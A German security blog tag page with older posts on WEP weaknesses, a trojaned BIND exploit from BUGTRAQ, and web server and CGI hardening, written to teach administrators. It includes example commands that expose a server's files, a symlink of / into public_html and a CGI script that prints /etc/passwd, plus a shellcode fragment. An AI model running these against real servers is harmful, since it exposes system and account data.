Tag: security

AES als Comic

Cryptographie wird in den nächsten Jahren wahrscheinlich immer wichtiger werden.

Insbesondere müssen schnelle und flexible Verfahren gefunden werden um Sicherheit vorallem auch in unsicheren oder unerwünscht, überwachten Netzwerken zu ermöglichen.

Verfahren wie AES sind da ein Schritt hin.
Jeff Moser erklärt AES mit Hilfe eines Comics:
aes-comic-klein
A Stick Figure Guide to the Advanced Encryption Standard (AES)

(via anfalas)

Kommentare deaktiviert :, Mehr...

WLAN und Sicherheit

Glaubt man der Fernsehwerbung oder Wer Werbung in den Printmedien, ist das Wireless-LAN (WLAN) der neueste glückseligmachende Trend und das Killerfeature welches man unbedingt zuhause haben muß. Doch wie steht es eigentlich mit der Sicherheit?

Zugegebenermßen ist es praktisch vorm Fernseher zu surfen, seine Mails zu checken, zu chatten oder vielleicht sogar zu arbeiten. Die im Moment zur Verfügung stehenden 11Mbit (IEEE 802.11b) oder 54Mbit (IEEE 802.11g) sind auch fü anspruchsvollere Benutzer ausreichend -zumal der DSL Zugang bei weitem langsamer ist.
Klingt ja alles recht schön und gut. Nur: schon mal drüber nachgedacht, daß sich Radio-Wellen, (fast) beliebig ausbreiten und man somit nicht sicher sein kann, wo die landen?
Daß jemand der im Auto vorm Haus sitz durchaus mitlesen kann auf welcher Seite man grad surft und wie das Passwort zum EMail Server lautet?
Ja, schon, mag jetzt der eine oder andere sagen. Aber dazu gibt es ja Verschlüsselung. Stimmt. Und die sollte schützen. Zumindest wäre das vernünftig.

Und tatsächlich haben die Erfinder von der WLAN Protokolle auch daran gedacht und haben einen Standard definiert, wie man Wireless Daten verschlüsseln kann: Das Wired Equivalent Privacy (WEP).

Das Design des Wired Equivalent Privacy (WEP) ist aber wahrlich kein Paradebeispiel kryptographisch einwandfreiem Design. Vermutlich haben sich die Designer mit dem Thema Kryptographie vorher nicht wirklich ausgiebig beschäftigt. Anders kann man das -meiner Meinung nach- Desaster nicht erklären. Denn WEP ist alles andere als sicher.

Gleich drei große Designschwachpunkte enthält IEEE 802.11: Statische Schlüssel, ineffektive/inkorrekte Verwendung der Initialisierungsvektoren und das Fehlen von Integritätsüberpr”fungen der Datenpakete.

RC4 – Stream Verschlüsselung in WEP

WEP verwendet RC4 als Verschlüsselungsalgorithmus. RC4 ist ein symmetrischer Algorithmus und als solcher verwenden sowohl Absender als auch Empfänger die gleichen Schlüssel für die Verschlüsselung. RC4 erzeugt aus einem verhältnismäßig kurzen Schlüssel einen unendlich langen pseudo-zufalls- Stream. Der Sender XORt diesen Stream mit dem Klartextpaket und erzeugt damit den verschlüsselten Datensatz. Der Empfänger erzeugt mit dem selben Schlüssel ebenfalls den Schlßselstream. XORt er nun die verschlüsselten mit diesem, erhält er den Klartext.

Diese Art der Verschlüsselung ist zwar sehr effektiv und schnell, hat aber ein paar gravierende Nachteile. Wird z.B. währen der übertragung ein Bit geflippt (umgekippt), kommt beim Klartext ebenfalls ein geflipptes Bit raus.
Ansonsten ändert sich nichts, das heißt, daß so eine Veränderung unter Umständen gar nicht bemerkt wird. Das andere, noch größere Problem ist, daß es möglich ist aus mehreren mit demselben cipher-Stream verschlüsselten Datenschnipsel den XOR Stream herauszubekommen. Aus diesem kann man nun durch statistische Analyse den Klartext herausbekommen. Je mehr man nun Datenschnipsel hat die mit demselben Schlüssel verschlüsselt sind, desto einfacher ist es durch statistische Analyse die Klartexte herauszubekommen. Hat man erst mal einen errechnet, ist es trivial, den Schlüssel zu extrahieren und dann alle Pakete zu entschlüsseln. Der Code ist geknackt.

Schlüssel

802.11 schreibt nicht vor, WIE der Austausch bzw. eine Aktualisierung der Schlüssel im “laufenden Betrieb” zu erfolgen hat. Letztendlich läuft es darauf hinaus, daß in der Regel die Schlüssel einmal bei der Ersteinrichtung des WLANs gesetzt werden und danach nie mehr verändert werden. Andere kryptographische Protokolle verwenden zwar auch symmetrische Algorithmen bei der Daten/Paketverschlüsselung selbst (etwa SSH oder SSL), die verwendeten Schlüssel aber werden jedoch bei JEDER neuen Session bzw. nach einer bestimmten vorgegebenen Zeit per Zufall immer wieder neu gesetzt. Dies kann dadurch erfolgen, daß diese Protokolle auf asymmetrischen Schlüsselpaaren (public/private Keys) basieren. Der Server erzeugt eine Zufallszahl die als Session-Schlüssel verwendet werde soll und sendet diesen, verschlüsselt mit dem Public Key des Clients, an den Client. Nur dieser kann anhand seines private Keys diesen wieder entschlüsseln und kennt dadurch den nur für diese eine Session gültigen Schlüssel. Dieser wird für die eigentliche Datenverschlüsselung verwendet, die aus Geschwindigkeitsgründen immer mit einem symmetrischen Verfahren verschlüsselt wird.

802.11 kennt so ein Verfahren nicht und verwendet statische Schlüssel, die immer gleich bleiben. Sowohl während einer Session als auch zwischen verschiedenen Session. Hat man also einmal einen Schlüssel herausgefunden kann man jede beliebige Verbindung abhören und entschlüssel. Hinzu kommt das Problem, daß jeder der Teilnehmer am WLAN den Schlüssel kennen. Was passiert, wenn ein Mitarbeiter — vielleicht auch noch im Bösen — aus der Firma ausscheidet? Eigentlich müssten dann die Schlüssel ausgewechselt werden. Das heißt aber auch, daß jeder Mitarbeiter den Zugangsschlüssel zum WLAN ändern muß. Bei Firmen mit hoher Fluktuation von Mitarbeitern bzw. bei vielen Benutzern im WLAN kann man sich vorstellen, welche Probleme das nach sich zieht.

Es gibt zwar einzelne Implementierungen von Herstellern von 802.11 Produkten die diese Probleme zu umgehen oder beseitigen versuchen. Dies sind aber Speziallösungen welche nur auf bestimmter untereinander kompatiblen Geräten und Karten funktionieren -meistens nur die desselben Herstellers.

Paketintegrität

Integritätsprüfung bedeutet, daß der Absender über ein versendetes Paket — vereinfacht ausgedrückt — eine Art Quersumme bildet und diese dann an das Paket selbst anhängt. Der Empfänger macht nun dasselbe — er bildet die Quersumme über das Paket und vergleicht den Wert mit dem, der der Absender mitgeschickt hat. Stimmen die Werte überein,wurde das Paket nicht verändert.

So eine Integritätsprüfung macht man aus zwei Gründen: einmal um zu überprüfen ob bei der übertragung alles auch richtig angekommen ist oder ob z.B. durch ein schlechtes Medium (bei WLAN -schlechter Empfang) die Daten “verzerrt” wurden und z.B. einige Bits ümgekippt” sind. Der zweite Grund ist der, daß Daten absichtlich unterwegs verändert worden sein könnten. Ein Angreifer könnte die Pakete dahingehend abänern, daß er eigene Daten unterschmuggelt oder versucht, die Verbindung zu “übernehmen” (sogenanntes “hijacking”).

WEP verwendet zum Checken der Integrität der Pakete CRC32. Dieses Verfahren beruht aber auf keinem kryptographischen Hashalgorithmus (etwa MD5 oder SHA1). CRC32 ist ein lineares Verfahren. Das bedeutet, daß es möglich ist, den korrekten CRC aus der Bit-Differenz des Datensatzes zu berechnen. Weil aber ein bitweises verändern des RC4 Streams in ein ebensolches Verändern des Klartextes bedeutet, kann nun geschickt der Stream derart verändert werden, daß sich die CRC32 Prüfsumme ebenfalls korrekt mit ändert.

Hier ein Beispiel wie sowas aussehen kann:

Plaintext:  Überweise den Betrag von 10000,00 EUR an Kto 2324561 BLZ 76350000
Ciffriert:  aMz0rspLtxTghsnJDu278sdhdSkjdhgsfbfwuz&DJDWklfjshcUjlofwe8JWdq12uL
                                      ^
                                     / \
                                   1101011
                                    flip
                                   1101101
                                     \ /
                                      .
Ciffriert:  aMz0rspLtxTghsnJDu278sdhdSmjdhgsfbfwuz&DJDWklfjshcUjlofwe8JWdq12uL
Plaintext:  Überweise den Betrag von 60000,00 EUR an Kto 2324561 BLZ 76350000

Initialisierungsvektoren

Ein Initialisierungsvektor ist eine Art Salt Wert (vergleichbar mit dem im UNIX crypt verwendeten), welcher zum symmetrischen Schlüssel hinzugefügt wird, etwa durch einfaches Anhängen oder über eine logische Operation draufgerechnet. Damit soll für jedes Datenpaket der Schlüssel abgeändert werden. IVs sind Zufallswerte, und diese sollen dem potenziellen Angreifer keine wiederkehrenden Muster im verschlüsselten Datenpaket erkennen lassen Solche Muster können auftreten wenn dieselben Daten mehrfach gesendet werden — etwa Login Informationen bei mehrfachen login, starten von denselben Programmen usw. — also durchaus normale Situationen bei der täglichen Arbeit. über solche Muster können Rückschlüsse auf den Schlüssel gezogen werden. Leider ist das Konzept der Initialisierungsvektoren in IEEE 802.11 nicht korrekt implementiert worden.

Der InitialisierungsVektor in WEP ist ein 24bit Wert, welcher als Teil des Datenpaketes im Klartext mitgesandt wird. Dies ist nicht gerade ein großer Wert wenn man bedenkt, daß sich der Vektor bei jedem Paket ändern muß. Noch schlimmer ist, daß die Spezifikation des 802.11 Standards besagt, daß ein ändern des IVs bei jemdem Paket optional ist. Die Folge ist, daß verschiedene WEP Implementierungen den Vektor überhaupt nicht ändern und nach einem Initialisieren der Geräte (etwa Neustart) der Vektor nicht mehr verändert wird und gleich bleibt.

Aber selbst wenn korrekterweise bei jedem Paket der Vektor brav geändert wird gibt es viele Implementierungen, die den Vektor vorhersehbar ändern. So starten manche WEP Geräte mit einem IV von “0″ und inkrementieren dann einfach den Wert bei jedem Paket um “1″…
Und selbst wenn ein Pseudozufallswert verwendet wird; Nach etwa 5 Stunden Datenübertragung bei 11 MBit müssen sich die Vektoren zwangsläufig wiederholen. Sagen wir, ein ausgelasteter AccesPoint sendet konstant 1500 Byte große Pakete über 11MBit. 1500 * 8/(11*106)*224 = ca. 1800 Sekunden. Also etwa 5 Stunden. Das heißt, daß ein Angreifer spätestens nach 5 Stunden zwei chiffrierte Datenpakete hat die mit denselben Schlüssel verschlüsselt sind. Auf diese kann er dann eine statistische Analyse fahren. Und je länder der Angreifer mitlauscht desto mehr Pakete hat er zur Analyse.
Fertige Software gibt es im Internet.

Passive Attacke

Die einfachste Attacke auf WEP/IEEE 802.11 ist, genügend Datenpakete zu sammeln. Wie wir gesehen haben, werden sich früher oder später die Initialisierungsvektoren wiederholen (“IV Kollision”). XORt man zwei Pakete die denselben IV verwenden, bekommt man den XOR Wert des Plaintextes. Da nun besonders IP viele Redundanzen mit sich bringt und recht gut vorhersehbar ist (TCP Header, Paketnummerierung, Flags, usw. ) kann man nun recht gut vermuten, was das Paket beinhaltet. Man kann also recht gute statistische Analysen machen und meistens sogar den exakten Inhalt erraten. Auf diese Weise können in relativ kurzer Zeit eine große Menge von Pakete analysiert und erraten werden. Hat man erstmal einen Klartext gefunden, kann man alle weiteren Pakete, die den demselben IV verwenden, ebenfalls entschlüsseln. Nach und nach und mit etwas Geduld hat man alle IVs und kann so den kompletten Datenverkehr entschlüsseln.

Das Ganze kann man etwas verkürzen indem man bekannte (Klartext) Daten ins Netz schleust indem man Datenverkehr von außerhalb des WLANs ins Netz schickt. Etwa, indem man einen Benutzer im Netz dazu bringt, eine bestimmte Internet Seite zu besuchen. Oder man schickt eine EMail an einen Benutzer innerhalb des WLAN Netzes. Kann man nun genau diese Datenpakete abfangen, hat man den IV Vektor und kann nun alle Pakete entschlüsseln, die diesen verwenden.

Fazit

Nun, dem privaten Surfer mag das vielleicht nicht stoeren — muss es vielleicht auch gar nicht. Wen interessiert es schliesslich, welche Webseiten ein privater Nutzer, mein Nachbar, der Junge von Nebenan, besucht? Und falls doch — der Aufwand WEP zu knacken und Daten in einem WLAN mitzulesen ist doch recht hoch. Technisch gesehen zwar nicht, aber der Zeitaufwand ist beträchtlich. Wie weiter oben geschrieben, braucht man ne bestimmte Menge an Daten um sinnvoll mit einem Crack zu beginnen. Und bei einem privat genutzen Netz kann das, je nach Nutzung des WLANs, gut und gerne 2 Wochen dauern. Trotzdem möchte man sich gegen mögliche Angriffe oder heimliches Mitlesen von Daten schützen.

Das Beste wäre, wenn man sich ein VPN einrichtet. Allerdings ist das Aufbauen eines IPSEC Netzwerkes ziemlich aufwendig und kompliziert und so, als würde man mit Kanonen auf Spatzen schießen. Dafür bieten einige WLAN AccessPoints die Möglichkeit, IPSEC VPNs einzurichten. Dann sollte man ruhig diesen Weg gehen denn der Großteil der Arbeit liegt dann schon im AccessPoint. “Nur” einen Client einzurichten sollte dann machbar sein.
Etwas einfacher und viel weniger aufwendig ist das Aufbauen eines VPNs mit öpenVPN” (www.openvpn.org). Es gibt Clients für die verschiedenste Betriebssysteme — von verschiedenen Windows Versionen zu MAC OS und Unix/*BSD/Linux. Die Webseite bietet recht gute Beispiele und für die gängigsten Betriebssysteme sind Binärversionen von OpenVPN erhältlich — man muß sich die Software also nicht selbst übersetzen.

Manchmal reicht aber auch ein einfaches SSH um verschlüsselt Daten auszutauschen. Denn auch mit dem Secure Shell Protokoll kann man einfache VPNs aufbauen. Auch Webseiten die mit SSL verschlüsselt sind (“https://”) können nicht mitgelesen werden. Somit sollte man z.B. bei Banküberweisungen auf der sicheren Seite sein. Allerdings nur dann, wenn man drauf achtet, daß die Seiten auch verschlüsselt sind (bei den meisten Browsern sieht man das an einem kleinen Schloß welches entweder zu (verschlüsselt) oder offen (unverschlüsselt) ist).
Auf die Einrichtung von IPSEC, OpenVPN, SSH usw. möchte ich hier nicht weiter eingehen, da dies den Rahmen sprengen würde. Bei großem Interesse kann ich aber auch gerne auch mal einen Artikel diesem Thema widmen. Ich denke aber, der Gedanke den ich vermitteln möchte ist klar — WLAN mit WEP Verschlüsselung ist unsicher. Besser als gar keine Verschlüsselung und für den Hausgebrauch meistens ausreichend, aber doch mit Vorsicht zu genießen. Für Firmen ist WEP inakzeptabel. Es gibt aber Auswege indem man sich selbst gesicherte Netzverbindungen mit VPNs schafft.
Allerdings bietet WLAN leider nicht die heile, schöne Welt die uns die Werbung suggeriert. Zumindest nicht out-of-the-box. Trotzdem: ich persönlich möchte die Annehmlichkeiten von WLAN nicht mehr missen…


Kommentare deaktiviert :, Mehr...

Einmal Profi sein…

In den letzten beiden Tagen hat es sich mal wieder gezeigt, wie dumm die Menschheit ist. Der Reihe nach.

Am 31. Januar wurde auf BUGTRAQ (einer der bekanntesten Security Mailinglisten) ein Exploit gepostet, mit dem man anscheinend das ein paar Tage vorher publik gewordene Sicherheitsloch in der DNS Server Software “BIND” (sowohl 4 als auch 8) ausnutzen konnte. Zur allgemeinen Belustigung – hier der HEADER der Mail:

        From Anonymous <nobody@replay.com> Wed Jan 31 18:06:24 2001
        Date: Thu, 31 Jan 2001 18:06:19 -0400
        From: Anonymous <nobody@replay.com>
        To: BUGTRAQ@SECURITYFOCUS.COM
        Subject: Bind8 exploit
        Message-ID: <C5119AD12E92D311928E009027DE4CCA554903@replay.com>
        Mime-Version: 1.0
        Content-Type: text/plain; charset="us-ascii"
        X-Mailer: Internet Mail Service (5.5.2650.21)

Mal ganz im Ernst: wer von den geschätzten Lesern würde allen Ernstes eine Mail von Herrn Anonymous bei “replay.com” auch nur einen Zentimeter weit trauen? Ich hoffe, die Warnungen der letzten paar Monate bzgl. Mail (“man behandle Mails von Leuten die man nicht kenn mit größtmöglicher Vorsicht” usw.) – “Melissa” und “I Love You” lassen grüssen – haben zumindest ein bißchen Wirkung gezeigt.
Aber die “tollen Hacker”, “genialen Cracker” (oder – wie ich das ausdrücken möchte: “Skript Kiddies”) haben sowas ja nicht nötig: “Auf BUGTRAQ ist ein Sicherheitsloch bekannt geworden? Gleich mal schauen, ob nicht auch ein Exploit dazu publiziert wird. Ah, da hamma doch eines. Mal testen…”
Das dumme ist nur: anscheinend waren es nicht nur Skript Kiddies die auf den Code reingefallen sind. Es ist zwar nicht bekannt wieviele Leute letztdendlich den Code ausgeführt haben. Es müssen aber schon verdammt viele gewesen sein…
Zum Glück (eigentlich – auch wenn’s jetzt böse klingen mag – Schade!) wurde kein Schaden bei den betreffenden Personen angerichtet. Es waer doch echt mal die Mühe wert den ganzen Möchtegern-Hackern ein Stück Code unterzujubeln, welches mindestens die Festplatten neu formatiert…

Aber im Ernst: ich finde, den Vorfall sollte jeder als Warnung nehmen und ganz vorsichtig sein, was er wo ausführt. Auf BUGTRAQ lesen alle möglichen Leute mit – von den WhiteHats bis hin zu den BlackHats, Vendors und “Skript Kiddies”. Ich geh’ auch nicht in die Bronx und vertraue dem erstbesten der mich anhaut und mir anbietet, er könne mein Geld sinnvoll anlegen…
Warum ist das so schwer, auch den elektronischen Medien gegenueber ein gewisses Maß an Mißtrauen entgegen zu bringen? Mal ehrlich: wer hat nicht schon des öfteren irgendwelche Programme aus dem Netz geholt und dann ohne weiteres Nachdenken auf dem eigenen Rechner ausgefuehrt? Ich rede jetzt nicht nur von Windows Benutzern. Wer hat wirklich den Code, den er aus dem gezogenen Source Files compiliert hat ueberprüft? Oder noch viel Krasser: wer von den vielen Benutzern da draussen hat den Linux Kern mal durchgesehen ob da vielleicht nicht doch eine BackDoor eingebaut ist? Klar, das ist jetzt überspitzt und es hätten irgendwelche Leute bemerkt. Aber worauf ich hinaus will ist klar.

Nun, auf BUGTRAQ haben sich Hacker und Sysadmins gleichermassen blamiert. Ich bin mir sicher, dass beide Seiten gleichermassen in die Falle getappt sind. Vielleicht ist dieser Vorfall aber wirklich mal eine Lehre. Immerhin trudelte etwa 5 Stunden spaeter die erste Meldung auf BUGTRAQ ein, dass der Code ein Trojanisches Pferd beinhaltet. Immerhin.

Hier kurz umrissen, worum es genau ging:
Vor ein paar Tagen wurde ein Sicherheitsloch bekannt, welches die im Netz sehr weit verbreiteten DNS Server ‘bind’ (4 und 8) angreifbar machen. Das Loch ist aber ziemlich schwierig auszunutzen. Es gab auch soweit mir bekannt ist auch keine exploits. Am 31. Januar dann hat ein Herr “Anonymous” dann einen exploit gepostet. Der Code besteht zum Teil aus ‘shell code’ und es hat sich heraus- gestellt, dass genau dieser Code den Nameserver von NAI (Network Associates) attackiert.
(hier ein Shell Code snippet:)

        \xa1\x45\x03\x96  ==  161.69.3.150 == dns1.nai.com

Das Teil forkt sich und installiert so gleich mehrere Instanzen die alle diese IP Adresse attackieren.

Wie gesagt, es gab eigentlich keinen Schaden bei den Leuten, die diesen Code ausgefuehrt haben – nur NAI hat in den letzten beiden Tagen etwas mit Problemen zu kaempfen…

Wie dem auch sei: meine Bitte an Euch Sysadmins da draussen: “use the source, Luke”, schau rein, ueberpruefe was das Teil macht und laß das Ganze erst mal in einer SandBox laufen – sofern Du nicht ganz genau weisst, aus welcher Quelle der Code kommt.
Und noch eine Bitte: eignet Euch ein gesundes Mass an Mißtrauen an. Auch diesem Artikel gegenueber… ;-)

Kommentare deaktiviert :, Mehr...

Security auf Webservern

Das Betreiben eines Webservers ist heutzutage ziemlich einfach. Jedes Netzwerkfaehige Betriebssystem bietet ein oderer mehrere Produkte, mit denen man mit mehr oder weinger grossem Aufwand seinen eigenen Server betreiben kann. Wenn ich mich zurueckerinnere wie umstaenlich die Einrichtung eines Webservers frueher war – einige erinnern sich vielleicht noch an den ‘httpd’ vom CERN, fuer den es dann irgendwann mal ziemlich viele Patches gab die dann unter einem Hut zusammengefasst wurden und zum “Apache” (kommt von “a patch”) wurden…).

Theoretisch ist das Einrichten eines eigenen Webservers heutzutage wirklich kein Problem mehr. Sowohl die freien Produkte (Apache, Internet Information Server (IIS) von Microsoft) als auch kommerzielle Produkte (etwa dem Netscape Webserver oder andere) sind relativ einfach zu konfigurieren. In der Regel kann man bereits bei der Installation des Betriebssystems einen Webserver mitinstallieren: Windows NT Server installiert den IIS, alle Linux Distributionen sowie alle BSD Derivate installieren einen Apache und auch andere Unixes – etwa Solaris – installieren einen Webserver (entweder eigene oder Apache wie mittlerweile bei Solaris 8 der Fall ist). Fuer eine Intranetloesung reicht das vollkommen und man braucht sich – eine Firewall oder Nichterreichbarkeit von Aussen mal vorausgesetzt – keine weiteren Gedanken mehr machen.
Man darf aber eines nicht vergessen: ein Webserver ist ein Programm, welches DATEN zur verfuegen stellt, welche nach Aussen hin sichtbar sind. Der kleinste Fehler in der Konfiguration genuegt, um ungewollt die Personalakten von Mitarbeitern, Passworten (hoffentlich zumindest verschluesselt) oder andere sensitive Daten fuer jedermann zugaenglich zu machen. Man erinnere sich an verschiedene Faelle im Netz, wo Kundendaten (Teilweise sogar Bankinformationen) zugaenglich waren.
Was ich damit sagen will ist einfach: auch wenn die INSTALLATION einfach ist – die KONFIGURATION muss dafuer umso sorgfaeltiger gemacht werden. Aber die Sicherheit beginnt bereits eine Stufe tiefer – eigentlich sogar zwei Stufen tiefer: einmal beim Betriebssystem selbst und einmal bei der Serversoftware. Wenn das Betriebssystem auf dem der Webserver laufen soll unsicher ist, macht eine noch so gute Konfiguration des Webservers keinen Sinn. Es nuetzt nicht, wenn ich in meinem Haus vergitterte Fenster anbringe und eine Alarmanlage installiere wenn die Tueren keine Schloesser haben oder es soundsoviele Nach- schluessel gibt. Als naechstes muss natuerlich die Serversoftware sicher und stabil sein. Ich erinnere an Microsoft und den IIS Server. Mircosoft selbst hatte es versaeumt, einen Patch fuer den IIS zu installieren und wurde genau ueber dieses Sicherheitsloch das nicht gestopft wurde angegriffen. Die Wahl der Serversoftware sollte – ganz nebenbei bemerkt – nicht unbedingt nach dem Kriterium “sowieso dabei” oder “bequem zu installieren und warten” getroeffen werden sondern AUSSCHLIESSLICH unter dem Aspekt “wie sicher” oder “wie schnell sind Patches da falls doch mal was sein soll”. So hat man im IIS von Microsoft zwar in den letzten beiden Monaten erstaunlich viele Sicherheits- loecher gefunden, die jedoch in relativ kurzer Zeit von Microsoft gestopft wurden. Allerdings mit dem Haken, dass man staendig dahinter sein muss und die Updates auch einspielen muss.

Doch zurueck zum Betriebssystem. Auch das sicherste Betriebssystem nuetzt mir wenig, wenn ich andere Dienste auf dem Server laufen habe, die potentielle Angriffpunkte darstellen koennen (oder tun). Wenn ich also einen FTP Zugang zum Server anbiete ueber den bestimmte Leute ueber ihren Account Daten uploaden koennen (welche vielleicht sogar noch Zugriff auf die Konfiguration vom System oder Webserver haben) ist das vergebliche Liebesmueh’. Wie viele vielleicht wissen, uebertraget FTP (telnet uebrigens auch) alle Daten (auch das PassWORT) im KLARTEXT. Das heisst, ich braeuchte mir nur einen Rechner zu suchen, der irgendwo “zwischen” dem Server und dem Client liegt und die Verbindungen abzuhoeren (technisch absolut das leichteste). Frueher oder spaeter wird jemand das Passwort tippen und ich habe Zugang.
Aehnliches gilt uebrigens fuer POP3 – das am weitesten genutzet Protokoll zum Abholen von Mails von Mailservern. Auch POP3 sendet das eigene Passwort im Klartext ueber das Netz. Abhilfe koennte hier eine gepatchte Version (uebrigens von mir so praktiziert) von einem POP Server schaffen, welcher eine andere Passwortdatenbank verwendet als die Logindaten. Alles was dann noch passieren kann (sofern Benutzer nicht fuer POP und login dasselbe Passwort verwenden) ist, dass jemand die Mails lesen kann.
Immerhin.

Es gibt aber durchaus Dienste, die per se nicht angreifbar sind sondern einfach nur Sicherheitsloecher haben. Lange Zeit (das ist allerdings nun schon sehr lange her) war ‘sendmail’ so ein Kanditat mit vielen Bugs und Sicherheits- loechern ueber die Fremde ins System einbrechen konnten. Nun, um kurz zusammenzufassen: auf einem Webserver (eigentlich: auf jeden Server der einen Dienst im Web anbietet) sollten moeglichst wenig verschiedene Dienste laufen. Einmal um moeglichst wenig Angriffspunkte zu bieten und zum anderen um den Ueberblick leichter behalten zu koennen (3 Serverdienste sind leichter zu warten als 17). Ausserdem sollten moeglichst wenig (wenn ueber- haupt) Benutzer direkten Zugang zum System haben. Und wenn dann nur ueber sichere Verbinungen (etwa durch das verwenden von ssh).

Auch bei der Konfiguration eines Servers kann man viel falsch machen. Da der Apache derzeit der am weitesten verbreitete Webserver ist, moechte ich hauptsaechlich auf den eingehen. Mal ein ganz simples Beispiel: nehmen wir mal an, es gibt Benutzer auf dem System und diese haben im Homeverzeichnis ihr ~/public_html. Niemand kann ihnen verbieten, folgenden Befehl auszufuehren:

              'ln -s / ~/public_html/root'

Diejenigen die sich mit Unix auskennen werden sicher gleich gemerkt haben, was hier passiert. Fuer die anderen: der Befehl ‘ln’ legt sogenannte Symlinks an. Das heisst, eine Datei oder ein Verzeichnis kann ueber einen anderen Namen (der auch ganz woanders liegen kann) zugegriffen werden. In diesem Speziellen Fall wuerde das heissen, dass man – wenn man in das Verzwichnis ‘~/public_html/root’ wechselt in Wirklichkeit im “root” Verzeichnis (der Basis der Baumstruktur unter Unix, also ‘/’) rauskommt. Das heisst nun weiter, das JEDES Verzeichnis (welches Leserechte fuer alle – und das sind in der Regel die meisten) und JEDE Datei (ebenfalls Leserechte fuer alle) eingesehen werden kann. Und zwar von aussen – man brauchts nur zu probieren:

              'http://url.des.servers/~longariva/root'

Erstaunt? Nun, eigentlich sollte jeder daran gedacht haben. Und wenn ich ganz ehrlich bin – auch wenn das jetzt vielleicht boese klingen mag – jemand der das Ganze NICHT durchschaut hat sollte auf keinen Fall einen Server im Netz warten. Es gibt noch eine ganze Reihe anderer Moeglichkeiten wie man ungewollt einen Server unsicher machen kann auf die ich hier nicht weiter eingehen moechte. Grundsaetzlich moechte ich aber als Regel postulieren:

KEIN SERVERDIENST sollte von jemandem gewartet werden, der keine oder wenig Ahnung vom darunterliegenden System hat!

“Ich habe schonmal damit gearbeitet” ist ZUWENIG! Zum Glueck kann der Apache Symlinks verbieten – auch wenn das u.U. an anderer Setelle Probleme machen kann. Aber das ist wieder ein anderes Thema.

Auch nicht in erster Linie von der Serverkonfiguration abhaengig sind die Probleme, die durch (falsche) Verwendung von Skripten, die auf dem Server laufen (CGI, PHP, ASP usw.). Laesst man solche Skripten uneingeschraenkt zu, kann ein Benutzer – absichtlich oder ohne zu wollen – auch sehr viel anrichten. Man darf nicht vergessen: solche Programm laufen AUF dem Server und koennen – je nach Konfiguration – uneingeschraenkt auf Daten, Verzeichnisse usw. zugreifen.
Ich moechte anhand von CGI ein Beispiel anbringen. CGIs koennen beliebige Programme sein – meistens sind es Perl Skripten. Aber auch C Programme, Shell Skripten, ja sogar Visual Basic (etwa auf einem Windows System) koennen fuer CGI verwendet werden. Verwenden wir fuer mein Beispiel ein shell Skript wie folgt:

       #!/bin/sh
       /bin/cat /etc/passwd

ganz kurz – aber mit grosser Wirkung. Legen wir das Skript in das Verzeichnis in dem CGIs liegen und machen es ausfuehrbar (chmod a+x ). Nun fuehren wir es aus. Was passiert? Schockiert? Hoffentlich nicht, denn wenn ja ist der Job als Webadmin wohl doch nicht ganz das richtige… Nun, im Apache kann man einschraenken WO ausfuehrbare Programme liegen duerfen und eigentlich sollten NUR erfahrene Web/CGI Programmierer Skripten fuer das Internet erstellen. Aber manche Kunden moechten ihre eigenen (oder eingekauften) Skripten auf “ihrer Homepage” (dem Server den Sie lieber Leser administrieren) laufen lassen. Sie koennen sicher Mechanismen erfinden um zu ueberpruefen ob und was der Benutzer/Kunde in seinen CGI Verzeichnissen ablegt. Aber auch dafuer braucht es Erfahrung und Wissen.
Ein falsch konfigurierter Server kann aber auch Skripten in JEDEM Verzeichnis ausfuehren lassen. Man stelle sich folgendes Szenario vor:

  1. auf dem Server is anonymes FTP moeglich
  2. der Benutzer hat einen Link auf das FTP Verzeichnis gemacht (“er moechte auf die Dateien zugreifen koennen, die er upgeloadet hat”)
  3. ein BalckHat kommt drauf, schreibt sich ein irgendein Skript welches auf der Platte nach Passworten oder sonstwelchen Daten sucht
  4. Der BlackHat laedt das Skript auf den Server – es ist ueber den Link erreichbar und wegen der Fehlkonfiguration kann es auch ausgefuehrt werden.

..alles weitere ueberlasse ich Ihrer Phantasie.
Es mag zwar sein, dass derartig falsch konfigurierte Systeme unwahrscheinlich klingen. Aber sie glauben gar nicht, was man im Web alles sieht und findet…

Dem erfahrenen Webadmin moegen vielleicht meine Beispiele doch etwas trivial erscheinen. Das duerfen sie auch ruhig. Mein Ziel ist, den nicht so erfahrenen Admins zu zeigen, wie man mit trivialen Fehlern sehr viel anrichten kann und ihnen dringendst ans Herz zu legen, sich entsprechendes weitreichendes Wissen anzueignen. Das sicherste Betriebssystem mit der besten und fehlerfreisten Webserver Software auf dem schnellsten Rechner nuetzt nichts wenn aus Unwissenheit oder auch nur aus Versehen falsche Konfigurationen oder falsche Rechte gesetzt werden.
Ich moechte aber niemandem den Mut nehmen, doch selber seine(n) Server zu administrieren. Ich moechte wirklich nur betonen, dass dies – sofern der Server aus dem Internet erreichbar ist – wirklich nur dann empfehlenswert ist, wenn ein gewisses Wissen da ist. Aber troesten Sie sich – auch der erfahrenste Sys/Net/Webadmin macht manchmal Fehler…

Kommentare deaktiviert :, , Mehr...

CGI Security / Sichere CGI-Skripten – Eine Einführung

1. Allgemeines

Die Programmierung von CGI-Skripten und -Programmen ist im Prinzip nicht schwerer als die von ganz normalen Programmen, die nicht das Common Gateway Interface benutzen. So ist die Wahl der Programmiersprache in der Regel nicht eingeschränkt (sieht man von den Einschränkungen bzgl. dem Betriebssystem und/oder den Provider ab) und wenn man nur etwas im Internet sucht, findet man zu quasi jeder Sprache Beispiele und Ressourcen.
Lange Zeit war die CGI-Programmierung die Aufgabe von wenigen Webmastern oder Systemadministratoren. Die Provider ließen in der Regel keine Benutzereigenen Skripten auf Ihren Server zu und wenn, dann gegen entsprechenden Aufpreis.

Heutzutage jedoch ist die Situation grundlegend verändert: Ein CGI-Verzeichnis gehört zum Standard von fast jedem kommerziellen Webspace-Angebot und die Zahl der Skript-Archive im Netz nimmt immer weiter zu.
